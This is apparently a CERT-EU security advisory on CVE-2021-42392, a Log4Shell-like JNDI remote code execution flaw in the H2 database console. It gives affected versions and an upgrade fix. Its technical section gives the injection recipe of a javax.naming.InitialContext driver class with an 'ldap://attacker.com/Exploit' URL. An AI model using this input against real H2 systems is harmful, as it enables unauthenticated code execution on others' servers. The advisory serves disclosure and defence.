CERT-EU

Security Advisory 2022-002

Critical RCE Vulnerability in H2 Database Console

January 7, 2022 — v1.0

TLP:WHITE

History:

- *07/01/2022 — v1.0 – Initial publication*

Summary

On the 6th of January 2022, security researchers from JFrog identified a critical JNDI-based vulnerability in the H2 database console that exploits the same root cause as the Log4Shell vulnerability [1]. Identified by **CVE-2021-42392**, this security flaw could lead to unauthenticated remote code execution.

H2 is an open-source relational database management system written in Java that can be embedded within applications or run in a client-server mode.

Technical Details

Like in the Log4Shell, this vulnerability is due to several code paths in the H2 database framework that pass unfiltered attacker-controlled URLs to the `javax.naming.Context.lookup` function, which allows for remote code execution.

Specifically, the `org.h2.util.JdbcUtils.getConnection` method takes a driver class name and database URL as parameters. If the driver's class is assignable to the `javax.naming`, supplying a driver class such as `javax.naming.InitialContext` and a URL such as `ldap://attacker.com/Exploit` will lead to remote code execution.

Affected products

The vulnerability affects H2 database versions 1.1.100 to 2.0.204

Recommendations

It is recommended to update H2 database to version 2.0.206, released on January 5, 2022 [2].

References

[1] https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/

[2] https://github.com/h2database/h2database/releases/tag/version-2.0.206